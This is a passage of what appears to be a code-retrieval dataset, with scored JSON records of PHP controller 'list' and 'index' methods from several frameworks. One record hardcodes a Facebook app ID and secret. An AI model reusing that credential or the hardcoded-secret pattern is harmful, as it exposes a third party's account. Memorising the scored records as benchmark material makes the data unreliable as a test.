$this->render('intervention.list');\n }", "title": "" }, { "docid": "c72ddbe4283fe8d28a198836a20283ca", "score": "0.68581027", "text": "public function listAction()\n {\n $this->_forward('index');\n }", "title": "" }, { "docid": "5959432636f2924b51d09876dd5202b6", "score": "0.68534476", "text": "protected function listAction()\n {\n $this->dispatch(EasyAdminEvents::PRE_LIST);\n\n $fields = $this->entity['list']['fields'];\n $paginator = $this->findAll($this->entity['class'], $this->request->query->get('page', 1), $this->entity['list']['max_results'], $this->request->query->get('sortField'), $this->request->query->get('sortDirection'), $this->entity['list']['dql_filter']);\n\n $this->dispatch(EasyAdminEvents::POST_LIST, ['paginator' => $paginator]);\n\n $parameters = [\n 'paginator' => $paginator,\n 'fields' => $fields,\n 'batch_form' => $this->createBatchForm($this->entity['name'])->createView(),\n 'delete_form_template' => $this->createDeleteForm($this->entity['name'], '__id__')->createView(),\n ];\n\n return $this->executeDynamicMethod('render<EntityName>Template', ['list', $this->entity['templates']['list'], $parameters]);\n }", "title": "" }, { "docid": "d30c6180099f7dd3b33628d897022777", "score": "0.6818582", "text": "public function show_list() {\n }", "title": "" }, { "docid": "8403a5ff042f4c677d7d939d9b2b750f", "score": "0.68148446", "text": "public function view_crud_list () {\n $this->getResponse()->setData('context', 'crud');\n if($this->getRequest()->getData('action') == 'crud_stats') {\n $this->getCrudinstance()->stats();\n } else {\n $this->getCrudinstance()->listview();\n }\n return;\n }", "title": "" }, { "docid": "01bc93b08e6ad107f9316b34bcad9511", "score": "0.6803481", "text": "public function index()\n\t{\n $resources = Resource::all();\n return View::make('resources.index', compact('resources'));\n\t}", "title": "" }, { "docid": "3389c0d5e9637b099b7cd7e20021ea55", "score": "0.67949444", "text": "public function listsAction()\n {\n // Checks authorization of users\n if (!$this->isGranted('ROLE_DATA_REPOSITORY_MANAGER')) {\n return $this->render('template/AdminOnly.html.twig');\n }\n\n $GLOBALS['pelagos']['title'] = 'Lists Available';\n return $this->render('List/Lists.html.twig');\n }", "title": "" }, { "docid": "e8b936bcbc3c7cd4f66fc62525379e0b", "score": "0.67755073", "text": "public function mylist() {\n $this->render();\n }", "title": "" }, { "docid": "c545ab38f5dbdba7091a7d9ce680b802", "score": "0.6766844", "text": "public function index()\n\t{\n\t\t$subResourceDetails = $this->subResourceDetailRepository->paginate(10);\n\n\t\treturn view('subResourceDetails.index')\n\t\t\t->with('subResourceDetails', $subResourceDetails);\n\t}", "title": "" }, { "docid": "6d63bb11ea8b0a8583e9363e358ff9b7", "score": "0.6752371", "text": "public function index()\n {\n\n $total = isset($this->parameters['total']) ? $this->parameters['total'] : config('awesovel')['total'];\n\n $this->data['collection'] = $this->api('HEAD', 'paginate', $total);\n\n\n return $this->view($this->operation->layout, ['items' => $this->model->getItems()]);\n }", "title": "" }, { "docid": "828fa63f223e081c2e33ac1cee981572", "score": "0.67492855", "text": "public function index()\n {\n $entity = Entity::all();\n return EntityResource::collection($entity);\n }", "title": "" }, { "docid": "e7e46511a4b7697f60b99262a9448541", "score": "0.6748038", "text": "public function index(){\n\n $entries = $this->paginate();\n\n $this->set(\"entries\", $entries);\n\n }", "title": "" }, { "docid": "8f58024e3cccac78c2edf40dcdf1d9b5", "score": "0.6738249", "text": "public function index()\n {\n return VideomakerResource::collection(Videomaker::orderBy('sort', 'asc')->get());\n }", "title": "" }, { "docid": "720fa44f82097ad862a1223667f1a4ae", "score": "0.67327595", "text": "public function list()\n {\n $this->vars = array('items' => ['Patrick', 'Claude', 'Pierre', 'André']);\n $this->render('list.php');\n }", "title": "" }, { "docid": "82ffea34883f2d4ec003859ff27130f4", "score": "0.6717263", "text": "public function index()\n {\n // Get results\n $results = Result::orderBy('created_at', 'desc')->get();\n\n // Return collection of results as a resource\n return ResultResource::collection($results);\n }", "title": "" }, { "docid": "174e07a1688ac732f0e66ae6d8398d84", "score": "0.6712051", "text": "public function index()\n {\n // list\n }", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.6709766", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.6709766", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "1ca180cd47a9c5ba1d48b4b6c9917a8e", "score": "0.67018384", "text": "public function index()\n {\n $resources = Ressource::orderby('created_at','DESC')->get();;\n return RessourceR::collection($resources);\n }", "title": "" }, { "docid": "443c1ed051c412c645eecf92a9792f61", "score": "0.6687369", "text": "public function listAction()\n {\n $request=$this->getRequest();\n $requestUtil=$this->getRequestUtil();\n \n $pageRequestData=$requestUtil->getPageRequestDataFrom($request);\n $dataPage=$this->getSystemUserManager()->findPageFrom($pageRequestData);\n \n return $requestUtil->defaultListJsonResponse($dataPage->getData(), $dataPage->getTotalRecords());\n }", "title": "" }, { "docid": "d387587609cbbdf03cfc0669056e5bc7", "score": "0.6680929", "text": "public function action_list()\n\t{\n\t\t$client = Model::factory('Client');\n\t\t$rs = $client->select()\n\t\t\t//->select('id', 'name', 'email', 'phone', 'is_active')\n\t\t\t->order_by('name')\n\t\t\t->execute();\n\t\t$client_data = $rs->as_array();\n\t\t\n\t\t// Remap client data for JS lookup\n\t\t$client_details = array();\n\t\tforeach($client_data as $item) {\n\t\t\t$client_details[$item['id']] = $item;\n\t\t}\n\t\t\n\t\t$view = View::factory('client/list');\n\t\t$view->set('client_data', $client_data);\n\t\t$view->set('client_details', $client_details);\n\t\t$this->response->body($view);\n\t}", "title": "" }, { "docid": "3e2213e2e64e6d315c5f7f2b9390d5af", "score": "0.66806805", "text": "public function index()\n {\n return $this->showAll();\n }", "title": "" }, { "docid": "dd7ea5bccadd522adc846631298726c5", "score": "0.66794777", "text": "public function index()\n {\n return RecordResource::collection(\n auth()->user()->records()->paginate(config('general.pagination.perPage'))\n );\n }", "title": "" }, { "docid": "bf724845d7b3ef1d4914762d244fb1ab", "score": "0.66759485", "text": "public function listAction()\n {\n $limit = isset($_GET['limit']) ? (int)$_GET['limit'] : PostDB::LIMIT;\n $offset = isset($_GET['offset']) ? (int)$_GET['offset'] : 0;\n\n return $this->render([\n 'posts' => $this->model->fetchList($limit, $offset),\n 'limit' => $limit,\n 'offset' => $offset,\n 'totalPosts' => $this->model->count(),\n 'alert' => $this->getAlerts(['post_created', 'post_deleted', 'post_updated'])\n ]);\n }", "title": "" }, { "docid": "a8301ed92dc9170afd4b6448fca5d0f3", "score": "0.6674889", "text": "public function index()\n {\n $products = Product::paginate(100);\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "1fd7963662b3e9d8e35a3c5a837bbc57", "score": "0.6666821", "text": "public function listAction()\n {\n $configName = filter_var($_GET['name'], FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);\n\n $trieurConfig = $this->getConfig($configName);\n\n $this->view->name = $configName;\n $this->view->title = isset($trieurConfig['title']) ? $trieurConfig['title'] : '';\n\n $this->view->breadCrumbs[] = [\n 'title' => $this->view->title,\n 'url' => FrontController::getCurrentUrl(),\n ];\n }", "title": "" }, { "docid": "0fe4e291e7634c2aeb63063cd376272f", "score": "0.66652787", "text": "public function index()\n {\n // $this->authorize('all', User::class);\n \n $allResources = Resource::all();\n\n $view_elements = [];\n \n $view_elements['allResources'] = $allResources; \n $view_elements['page_title'] = 'Resources'; \n $view_elements['component'] = 'resources'; \n $view_elements['menu'] = 'resources'; \n $view_elements['breadcrumbs']['All Resources'] = array(\"link\"=>'/resources',\"active\"=>'1');\n \n \n $view = viewName('resources.all');\n return view($view, $view_elements);\n }", "title": "" }, { "docid": "333a397f407728909d14c6eb4e496493", "score": "0.6647916", "text": "public function listingAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('SettingContentBundle:News')->findBy(array(),array('name' => 'asc'));\n\n return $this->render('SettingContentBundle:News:index.html.twig', array(\n 'pagination' => $entities,\n ));\n }", "title": "" }, { "docid": "905f7fbfbb2fff73099979bdf45d3db6", "score": "0.66422987", "text": "public function list() {\n //kalau HRD pusat bisa milih dari cabang mana saja\n //kalau HRD cabang cuma list document masuk yg ada di cabang doang.\n }", "title": "" }, { "docid": "81a9d2c3f66799032c4d7ddc8ee3e2ef", "score": "0.66293246", "text": "public function list() {\n include '../templates/driver/list.html.php';\n }", "title": "" }, { "docid": "e4852525485e4ed47dcb985523ad108d", "score": "0.6626301", "text": "public function listAction(){\n\t\t$view = Zend_Registry::get('view');\n\t\t$table = new Mae();\n\t\t$table->getCollection();\n\t\t$this->_response->setBody($view->render('default.phtml'));\n\t}", "title": "" }, { "docid": "03690e7a09f22de0d26d268d13653dd8", "score": "0.6626217", "text": "function index(){\n\t\t$this->listar();\n\t}", "title": "" }, { "docid": "728b150b646c20e91cdcb0b476ee8df4", "score": "0.66261816", "text": "public function listAction()\n {\n if (false === $this->admin->isGranted('LIST')) {\n throw new AccessDeniedException();\n }\n\n $datagrid = $this->admin->getDatagrid();\n $formView = $datagrid->getForm()->createView();\n\n // set the theme for the current Admin Form\n $this->get('twig')->getExtension('form')->renderer->setTheme($formView, $this->admin->getFilterTheme());\n\n if(isset($_GET['activityId'])){\n $activityId = $_GET['activityId'];\n $em = $this->getDoctrine()->getManager();\n $activity = $em->getRepository('ZesharCRMCoreBundle:Activity')->findOneBy(array('id' => $activityId));\n $activityTitle = $activity->getTitle();\n }\n\n return $this->render($this->admin->getTemplate('list'), array(\n 'action' => 'list',\n 'form' => $formView,\n 'datagrid' => $datagrid,\n 'csrf_token' => $this->getCsrfToken('sonata.batch'),\n 'pageTitle' => $activityTitle ? $activityTitle : '',\n ));\n }", "title": "" }, { "docid": "0cfc4663300d21f5b0e90285019bc71a", "score": "0.66248006", "text": "public function indexAction() {\n $locationFieldEnable = Engine_Api::_()->getApi('settings', 'core')->getSetting('list.locationfield', 1);\n if ( empty($locationFieldEnable) ) {\n return $this->setNoRender();\n }\n\n $items_count = $this->_getParam('itemCount', 5);\n\n //GET LIST LIST FOR MOST RATED\n $this->view->listLocation = Engine_Api::_()->getDbTable('listings', 'list')->getPopularLocation($items_count);\n\n //DONT RENDER IF LIST COUNT IS ZERO\n if (!(count($this->view->listLocation) > 0)) {\n return $this->setNoRender();\n }\n\n $this->view->searchLocation = null;\n if (isset($_GET['list_location']) && !empty($_GET['list_location'])) {\n $this->view->searchLocation = $_GET['list_location'];\n\t\t}\n }", "title": "" }, { "docid": "90baaa24c8a589876a1c98f625e68458", "score": "0.66238004", "text": "public function index()\n {\n $categories = BusinessCategory::all();\n $listings = BusinessListingResource::collection(BusinessListing::all());\n return Inertia::render('Admin/BusinessListing', ['categories'=> $categories, 'listings'=>$listings]);\n }", "title": "" }, { "docid": "75a5bb13804a5d6235a9088089fdf3dc", "score": "0.66092217", "text": "public static function list()\n {\n if (isset($_POST[\"search\"])) {\n foreach ($_POST[\"search\"] as $key => $value) {\n $queryOptions[\"$key LIKE\"] = \"%$value%\";\n }\n };\n static::render(\"list\", [\n 'entities' => static::getDao()::findAll()\n ]);\n }", "title": "" }, { "docid": "a8073549d697653019630bfd5b2ce4f4", "score": "0.66074806", "text": "public function listAction() {\n\t\t$this->view->liste = Category::getInstance()->fetch();\n\t}", "title": "" }, { "docid": "ca1737541b9936d406a94bdf9aa8a617", "score": "0.6600907", "text": "public function index()\n {\n $cat = Category::paginate(10);\n\t\treturn CategoryResources::collection($cat);\n }", "title": "" }, { "docid": "9053e22130cf25ad82ec7601e536a4b4", "score": "0.65889937", "text": "public function index()\n\t{\n\t\t$subResourceDetailAudios = $this->subResourceDetailAudioRepository->paginate(10);\n\n\t\treturn view('subResourceDetailAudios.index')\n\t\t\t->with('subResourceDetailAudios', $subResourceDetailAudios);\n\t}", "title": "" }, { "docid": "ad00df27d12646f83d77fce9a7bb953d", "score": "0.6587149", "text": "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n \t$em = $this->getDoctrine()->getManager();\n \t$oRepRobot = $em->getRepository('BoAdminBundle:Robot');\n\t\t$nb_tc = $oRepRobot->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$robots = $em->getRepository('BoAdminBundle:Robot')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n \treturn $this->render('robot/index.html.twig', array(\n \t\t'robots' => $robots,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"tools\",\n\t\t\t'sm'=>\"robot\",\n \t));\n }", "title": "" }, { "docid": "c7230f7fbeb33b3a78b09ad92bcf4b13", "score": "0.65871114", "text": "public function index()\n {\n $article=Booklover::paginate(10);\n //return collection of articles as resource\n return BookloverResource::collection($article);\n }", "title": "" }, { "docid": "54716cd3af1f040766e6972b2709f836", "score": "0.6586787", "text": "public function index()\n {\n $lists = $this->shareRepository->lists();\n\n return $this->respond($lists , new ShareTransformer);\n }", "title": "" }, { "docid": "bc61607b7973a96af644a943e09c1e49", "score": "0.6586051", "text": "public function listAction(): void\n {\n $demand = $this->getRequestArgument('demand') ?: $this->getDemand(true);\n\n // Get posts depending on demand object\n $posts = $this->getRequestArgument('posts') ?: RepositoryService::getPostRepository()->findByDemand($demand);\n\n // Set list id\n if ($demand->getListId() === 0) {\n $demand->setListId($this->contentData['uid']);\n }\n\n // Create pagination\n $itemsPerPage = $this->settings['items_per_stages'] ?: $this->settings['post']['list']['itemsPerStages'] ?: '6';\n $pagination = GeneralUtility::makeInstance(Pagination::class, $posts, $demand->getStage(), $itemsPerPage, $this->settings['max_stages']);\n\n // Pass variables to the fluid template\n $this->view->assignMultiple([\n 'pagination' => $pagination,\n 'demand' => $demand,\n 'posts' => $posts\n ]);\n }", "title": "" }, { "docid": "6a06fa8c4288da120ae96f4207dfe6a2", "score": "0.6577522", "text": "public function index()\n {\n $dummies=dummy::paginate(10);\n\n return dummyResource::collection($dummies);\n }", "title": "" }, { "docid": "1d717f725bf8e320ff8af8985fc9e146", "score": "0.6576492", "text": "public function all(){\n $products = $this->product->getProducts();\n\n $data['products'] = $products;\n\n $this->render('list', $data);\n }", "title": "" }, { "docid": "bccc75a4abe2c6c3bd9fc15d85ca4be6", "score": "0.6572314", "text": "public function listAction ()\n {\n $dbAlbums = $this->_albumsMapper->fetchAllDesc();\n $albums = array();\n foreach ($dbAlbums as $dbAlbum) {\n /* @var $dbAlbum Application_Model_Album */\n $album = array();\n $album['id'] = $dbAlbum->getId();\n $album['name'] = $dbAlbum->getName();\n $album['folder'] = $dbAlbum->getFolder();\n $path = self::GALLERY_PATH . $album['folder'];\n $counter = 0;\n if (file_exists($path)) {\n foreach (scandir($path) as $entry) {\n $entrypath = $path . '/' . $entry;\n if (! is_dir($entrypath)) {\n $finfo = new finfo();\n $fileinfo = $finfo->file($entrypath, FILEINFO_MIME_TYPE);\n if (in_array($fileinfo, $this->image_types)) {\n $counter ++;\n }\n }\n }\n }\n $album['pictures'] = $counter;\n $albums[] = $album;\n }\n $this->view->albums = $albums;\n return;\n }", "title": "" }, { "docid": "ac951f46baeea8952ab1bf72102e758d", "score": "0.65711015", "text": "public function indexAction($pageNumber)\n {\n\t$connectedUser = $this->getUser();\n $em = $this->getDoctrine()->getManager();\n $userContext = new UserContext($em, $connectedUser); // contexte utilisateur\n\n $resourceRepository = $em->getRepository('SDCoreBundle:Resource');\n\n $numberRecords = $resourceRepository->getResourcesCount($userContext->getCurrentFile());\n\n $listContext = new ListContext($em, $connectedUser, 'core', 'resource', $pageNumber, $numberRecords);\n\n $listResources = $resourceRepository->getDisplayedResources($userContext->getCurrentFile(), $listContext->getFirstRecordIndex(), $listContext->getMaxRecords());\n \n return $this->render('SDCoreBundle:Resource:index.html.twig', array(\n 'userContext' => $userContext,\n 'listContext' => $listContext,\n\t\t'listResources' => $listResources));\n }", "title": "" }, { "docid": "b7e9ea6b80279bc7feede5632a90202e", "score": "0.6570512", "text": "public function resourcesList(){\r\n\t\t$type = $this->view->getVariable(\"currentusertype\");\r\n\t\tif ($type != \"administrador\") {\r\n\t\t\tthrow new Exception(i18n(\"You must be an administrator to access this feature.\"));\r\n\t\t}\r\n\t\t// Guarda todos los recursos de la base de datos en una variable.\r\n\t\t$resources = $this->resourceMapper->findAll();\r\n\t\t$this->view->setVariable(\"resources\", $resources);\r\n\t\t// Se elige la plantilla y renderiza la vista.\r\n\t\t$this->view->setLayout(\"default\");\r\n\t\t$this->view->render(\"resources\", \"resourcesList\");\r\n\t}", "title": "" }, { "docid": "81af47766ea10675d82eb09c7177c488", "score": "0.65690506", "text": "public function lists()\n\t{\n\t\treturn View::make(\"loan.list\");\n\t}", "title": "" }, { "docid": "d3246fb2ff9e0523d1570475de5151d9", "score": "0.65679437", "text": "public function listing()\n {\n\n // check the acl permissions\n if( !$this->acl->access( array( 'daidalos/projects:access' ) ) )\n {\n $this->errorPage( \"Permission denied\", Response::FORBIDDEN );\n return false;\n }\n\n // check the access type\n if( !$view = $response->loadView( 'table_daidalos_projects', 'DaidalosProjects' ) )\n return false;\n\n $view->display( $this->getRequest(), $this->getFlags( $this->getRequest() ) );\n\n\n }", "title": "" }, { "docid": "80fe37cd073c0845deb3f2f3dc56f953", "score": "0.6567004", "text": "public function _list() {\n return $this->run('list', array());\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.6565817", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "f32df56cd8eb057e778dd688838ae6e1", "score": "0.6559901", "text": "public function index() {\n $fds = FactoryDevice::paginate(50);\n return FactoryDeviceResource::collection($fds);\n }", "title": "" }, { "docid": "592ef21e8cf01343d8f7bf69f6571783", "score": "0.6547545", "text": "public function listAction() {\n\ttry {\n\t\t$page = new Knowledgeroot_Page($this->_getParam('id'));\n\t} catch(Exception $e) {\n\t\t// redirect to homepage on error\n\t\t$this->_redirect('');\n\t}\n\n\t$contents = Knowledgeroot_Content::getContents($page);\n\t$files = array();\n\n\t// get files for each content\n\tforeach($contents as $value) {\n\t $files[$value->getId()] = Knowledgeroot_File::getFiles(new Knowledgeroot_Content($value->getId()));\n\t}\n\n\t// set page for view\n\t$this->view->id = $page->getId();\n\t$this->view->title = $page->getName();\n\t$this->view->subtitle = $page->getSubtitle();\n\t$this->view->description = $page->getDescription();\n\t$this->view->contentcollapse = $page->getContentCollapse();\n\t$this->view->showpagedescription = $page->getShowContentDescription();\n\t$this->view->showtableofcontent = $page->getShowTableOfContent();\n\n\t// set contents for view\n\t$this->view->contents = $contents;\n\n\t// set files for view\n\t$this->view->files = $files;\n }", "title": "" }, { "docid": "2d830a7f9271146c892f5525ff06cba8", "score": "0.6546861", "text": "public function index()\n {\n save_resource_url();\n //$items = VideoRecordPlaylist::with(['category', 'photos'])->get();\n $items = VideoRecordPlaylist::all();\n\n return $this->view('video_records.playlists.index', compact('items'));\n }", "title": "" }, { "docid": "e28f7ac3556efbf46ef07a458594e0f4", "score": "0.65348506", "text": "public function listView()\r\n {\r\n $todosResults = $this->AdminToDoModel->getTodos();\r\n $todos = $todosResults['records'];\r\n echo json_encode(array(\r\n 'pagination' => $todosResults['pagination'],\r\n 'total_pages' => $todosResults['total_pages'],\r\n 'list' => $this->load->view('admin/todos/item', compact('todos'), TRUE),\r\n ));\r\n }", "title": "" }, { "docid": "ec0437b332d8ab59b1dc12514564cf24", "score": "0.6534167", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $collections = $em->getRepository(Collection::class)->findAll();\n\n return $this->render('CollectionBundle::index.html.twig', array(\n 'collections' => $collections,\n ));\n }", "title": "" }, { "docid": "d2551d513444995f440c040295b5f79a", "score": "0.65337896", "text": "public function listAction() {\n\t\t$newsRecords = $this->newsRepository->findList();\n\n\t\t$this->view->assign('news', $newsRecords);\n\t}", "title": "" }, { "docid": "7ff71fea74a014e23f3059d0628ca0c1", "score": "0.6529416", "text": "public function index()\n {\n return view('resources/index', [\n 'categories' => ResourceCategory::all()\n ]);\n }", "title": "" }, { "docid": "e6a4c98ba5c74f530846a0e2799e83cd", "score": "0.6526439", "text": "public function indexAction() {\n\t\t$this->_forward('list');\n\t}", "title": "" }, { "docid": "13c10da740abbcd8b1714424cd80b7f0", "score": "0.6525797", "text": "public function index()\n\t{\n\t\t$tools = Tool::paginate(12);\n\n\t\treturn view( self::$prefixView . 'lists', compact('tools'));\n\t}", "title": "" }, { "docid": "8658a767a07d5f3d222e30b3461f8908", "score": "0.6519882", "text": "public function index() {\n\n\t\tself::init();\n\n\t\t$result = $this->_dbTable->paginatorCat(\n\t\t\t$this->_paginatorParams,\t\t\t\n\t\t\t$offset = $this->_list, \n\t\t\t$limit = 50,\n\t\t\t$this->_lang\n\t\t);\n\n\t\t$this->registry['layout']->sets(array(\n\t\t\t'titleMenu' => $this->translate->translate('Pages'),\n\t\t\t'content' => $this->_content.'index.phtml',\n\t\t\t'records' => $result['records'],\n\t\t\t'paginator' => $result['paginator'],\n\t\t));\t\n\t\t$this->registry['layout']->view();\t\n\t}", "title": "" }, { "docid": "b4ddd46c2382d5ddf2a44ea188de6a3b", "score": "0.6518713", "text": "public function actionIndex()\n {\n $dataProvider = (new Route())->search();\n return $this->render('index', ['dataProvider' => $dataProvider]);\n }", "title": "" }, { "docid": "116c403ea907dd01837aaf78536361f2", "score": "0.6516837", "text": "public function actionListing()\n {\n require_once Yii::app()->basePath . '/vendor/facebook-php-sdk/src/facebook.php';\n $fb = new Facebook(array(\n 'appId' => '894567207287021',\n 'secret' => 'cf43d6c081acaed16c908cac9d49bc07',\n ));\n $model = new FacebookModel();\n $customer = $model->setCustomer($fb);\n $getLikes = $model->getLikes($fb);\n $this->render('list',array('data'=>array('customer' => $customer, 'getLikes' => $getLikes)));\n }", "title": "" }, { "docid": "e3cdc4c3d9ae3aaa6a0cd5478456a58d", "score": "0.65151954", "text": "public function index()\n {\n return UnityResource::collection(Unity::paginate());\n }", "title": "" }, { "docid": "9e06846e2f6d2e1269338eadf8e0b894", "score": "0.65123296", "text": "public function index()\n {\n $categories = Category::paginate(10);\n return CategoryResource::collection($categories);\n }", "title": "" }, { "docid": "bc53de285b94ddd2a447a5820f5b4765", "score": "0.6511252", "text": "public function listing($route) {\n\t\t$this->render_view('listing', null);\n\t}", "title": "" }, { "docid": "d3708a38680b59bc16eca3c31b86b78d", "score": "0.6510291", "text": "public function index()\n {\n $abonnes = AbonneModel::all();\n $count = AbonneModel::count();\n //$this->debug($abonnes);\n $this->render('app.abonne.listing',array(\n // faire passer les abonnes à la vue dans view/app/abonne/listing.php\n 'abonnes' => $abonnes,\n 'count' => $count\n ));\n }", "title": "" }, { "docid": "7a4839b9dce0e81aa7d22a30b5050ba1", "score": "0.6508844", "text": "public function index()\n {\n return View::make('pages.listing')->with([\n 'listings' => Listing::all()\n ]);\n }", "title": "" }, { "docid": "9574404dd05ce3c2611ce508bd896204", "score": "0.6503226", "text": "public function indexAction() {\n $this->_forward('list');\n }", "title": "" }, { "docid": "b3002ffdca77085e05c201d4c8cb1e99", "score": "0.6502225", "text": "public function showList()\n\t{\n\t\t$query_params = $this->getQueryParams();\n\n\t\t// Get all biblio entities that match our query string params\n\t\t$query = new EntityFieldQuery();\n\t\t$query->entityCondition('entity_type', 'biblio');\n\t\tforeach ($query_params as $field => $value) {\n\t\t\t$query->fieldCondition($field, 'value', $value, 'like');\n\t\t}\n\n\t\t$result = reset($query->execute());\n\n\t\t// Create an array of IDs from the result\n\t\tforeach ($result as $entity_data) {\n\t\t\t$this->data['document_ids'][] = $entity_data->bid;\n\t\t}\n\n\t\t$this->outputJSON();\n\t}", "title": "" }, { "docid": "8f4a27465d71a62a589ec5adaeb0986b", "score": "0.64994836", "text": "public function index()\n {\n $todos = Todo::orderBy('created_at', 'DESC')->get();\n return TodoResource::collection($todos);\n }", "title": "" }, { "docid": "3bcd0d0bc609b30833a686c0ca043c6e", "score": "0.64992845", "text": "public function index()\n {\n $links = Link::all();\n\n return LinkResource::collection($links);\n }", "title": "" }, { "docid": "dc0149898375c89e944c9a4e88c4c3a8", "score": "0.64992046", "text": "public function index()\n {\n $table = item::all();\n return view('list')->with('table', $table);\n }", "title": "" }, { "docid": "046c051adc81c4edc84279daf9165d00", "score": "0.6497244", "text": "public function index() {\n\t\t$this->paginate = array(\n\t\t\t\t'limit' => 6,\n\t\t\t\t'order' => 'Listing.last_mod DESC'\n\t\t);\n\t\t//debug($this->params);\n\t\t$cond = $this->searchCriteria($this->params['data'], $this->params['pass'], $this->params['named']);\n\t\t$lt = $this->paginate('Listing', $cond);\n\t\t$this->getAddress($lt);\n\t\t$this->getListingPrice($lt);\n\t\t$this->set('listings', $lt);\n\t\t$this->set('GetMapListingData', $this->GetMapListingData($lt));\n\t\t$this->set('search_title', $this->searchTitle($this->params['pass']));\n\t\t$this->set('heading', $this->pageHeading($this->params['pass']));\n\t\t$this->set('bodyClass', 'listings');\n\t\t$this->render('listings');\n\t}", "title": "" }, { "docid": "b3705b62ffca7af4878e295922e07f4b", "score": "0.6495663", "text": "public function index()\n {\n $categories = Category::all();\n\n\t\treturn CategoryResource::collection($categories);\n }", "title": "" }, { "docid": "2acb8764426117ce1e24a4dffeca03b3", "score": "0.6490996", "text": "public function getList() {\n $pages = PageModel::getList();\n\n $this->renderView( $pages );\n }", "title": "" }, { "docid": "19401e81d482911677b86104e4316af5", "score": "0.6483789", "text": "public function index()\n {\n return ClientResource::collection(Client::paginate(5));\n }", "title": "" }, { "docid": "5053d441932d8864d4bf822f4564836c", "score": "0.64823115", "text": "public function listAction()\n {\n $this->service->setPaginatorOptions($this->getAppSetting('paginator'));\n $page = (int) $this->param($this->view->translate('page'), 1);\n $this->service->openConnection();\n $users =$this->service->retrieveAllClientUsers($page);\n $this->view->users = $users;\n $this->view->paginator = $this->service->getPaginator($page);\n }", "title": "" }, { "docid": "984e2e8264667b3d8e5fbfff39850e73", "score": "0.64771396", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $books = $em->getRepository('AppBundle:Book')->findAllOrderedByName();\n\n return $this->render('dashboard/listBook.html.twig', ['books' => $books]);\n }", "title": "" }, { "docid": "c8bce961d8c00f94db1cc45bb581d8eb", "score": "0.6476836", "text": "public function index()\n {\n $products = Product::all();\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "5fc2cbaa57895f367e3994638939768f", "score": "0.64757806", "text": "public function fetchlistAction(){}", "title": "" }, { "docid": "221cee52eb0850b671832164d9811aa5", "score": "0.6475303", "text": "public function listAction() {\n }", "title": "" }, { "docid": "548f4f0a081099012cd8664830d71f5f", "score": "0.64750725", "text": "public function index()\n {\n $books = Book::paginate(1);\n return view('admin.books.book-lists', compact('books'));\n }", "title": "" }, { "docid": "f19185733d416e8afe327cca78be3112", "score": "0.6473403", "text": "public function index()\n {\n // returns the latest inventory info and constricts the page to entries\n return Inventory::latest()->paginate(10);\n }", "title": "" }, { "docid": "ed4ac6060cb66e23543b207ea1f66b10", "score": "0.64719236", "text": "public function index()\n {\n $shops = Shop::paginate(20);\n return ShopResource::collection($shops);\n }", "title": "" }, { "docid": "207685ef95ff8434191b610cea3c73d5", "score": "0.64710605", "text": "public function index()\n {\n $items = $this->itemService->all();\n\n return JsonResource::collection($items);\n }", "title": "" }, { "docid": "f8cb4b5b72a3f7046a46ff5e92d156e6", "score": "0.64703035", "text": "public function allAction()\n {\n /* Getting total questions number */\n $totalQuestions = Question::count();\n\n /* Getting current user's data */\n $user = Auth::getUser();\n\n /* Adding pagination */\n $paginator = new Paginator($_GET['page'] ?? 1, $this->config->per_page_user, $totalQuestions, '/questions/all?page=(:num)');\n\n /* Getting questions list */\n $questions = Question::get([\n 'offset' => $paginator->offset, \n 'limit' => $paginator->limit,\n 'order_by' => $this->sortTypeColumn,\n 'order_type' => 'DESC',\n 'current_user' => $user\n ]);\n\n /* Load view template */\n View::renderTemplate('Questions/stream.twig',[\n 'this_page' => [\n 'title' => 'All Questions',\n 'menu' => 'questions_all',\n 'url' => 'questions/all',\n 'order_name' => $this->sortTypeName,\n ],\n 'questions' => $questions,\n 'paginator' => $paginator,\n 'total_questions' => $totalQuestions,\n ]);\n }", "title": "" }, { "docid": "4e5084aa458aae2dccdd7bdb7ebbdaf1", "score": "0.647014", "text": "public function indexAction() {\n $this->view->headTitle('Lista zarejestrowanych obiektów');\n $request = $this->getRequest();\n \n $qb = $this->_helper->getEm()->createQueryBuilder();\n $qb->select('c')\n ->from('\\Trendmed\\Entity\\Clinic', 'c');\n $qb->setMaxResults(50);\n $qb->setFirstResult(0);\n \n $query = $qb->getQuery();\n \n \n $paginator = new Paginator($query, $fetchJoin = true);\n $this->view->paginator = $paginator;\n }", "title": "" }, { "docid": "8b31ab8101a17d673732d8e49c0b4d2f", "score": "0.64698774", "text": "public function index()\n {\n $categories = Category::paginate(10);\n\n return CategoryResource::collection($categories);\n }", "title": "" } ]
fba5cfefabb2b65932d6fdc28af220e4
Remove the specified resource from storage.
